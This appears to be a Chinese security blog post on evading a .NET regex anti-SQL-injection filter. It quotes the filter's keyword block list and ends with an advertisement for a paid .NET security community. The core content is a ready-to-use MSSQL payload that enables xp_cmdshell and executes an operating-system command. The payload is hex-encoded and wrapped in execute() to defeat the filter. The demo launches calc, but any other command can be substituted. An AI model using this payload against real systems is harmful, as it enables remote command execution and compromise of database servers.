近期有师傅在dotNET安全矩阵微信群里讨论SQL注入实战中遇到代码层面的过滤拦截，导致无法正常注入出有价值的数据，我们知道MSSQL数据库以SA账户配置时还可以执行系统命令，本篇介绍的核心内容就是基于通过执行系统命令的方式绕过防注入正则防护

如下代码GetCarousel方法传递的stationid和screenkeyword均参与了SQL查询，理论上这两个参数都可以被利用注入，POST请求传递stationid=and时出现拦截信息，如下图

通过排查代码发现接手POST请求时所有的参数均通过一层CheckData方法过滤

CheckData方法代码如下，一段非常严谨的正则表达式，封锁了select/or/and/exec/insert/update等等关键词和特殊符号

if (Regex.IsMatch(inputData, "<[^>]+?style=[\\w]+?:expression\\(|\\b(alert|confirm|prompt)\\b|^\\+/v(8|9)|<[^>]*?=[^>]*?&#[^>]*?>|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|/\\*.+?\\*/|<\\s*script\\b|<\\s*img\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|\\bWAITFOR\\b.*?\\bDELAY\\b.*?|\\b(and|or)\\b", RegexOptions.IgnoreCase))

由于MSSQL支持16进制编码，而且Execute关键词可以完全替代掉exec，所以可以将xp_cmdshell执行存储过程做如下编码

exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 1;reconfigure;exec xp_cmdshell 'calc'

execute('declare @s varchar(2000) set @s=0x657865632073705f636f6e666967757265202773686f7720616476616e636564206f7074696f6e73272c20313b7265636f6e6669677572653b657865632073705f636f6e666967757265202778705f636d647368656c6c272c20313b7265636f6e6669677572653b657865632078705f636d647368656c6c202763616c6327 execute(@s)') --

编码后已经完全没有特征字符，成功绕过注入防护执行命令弹出计算器

为了更好地应对基于.NET技术栈的风险识别和未知威胁，dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。经过运营团队成员商议一致同意给到师傅们最大优惠力度，只需99元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多高质量的.NET安全资源，可以说市面上很少见，都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等，后续还会倾力打造专刊、视频等配套学习资源，循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术，关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.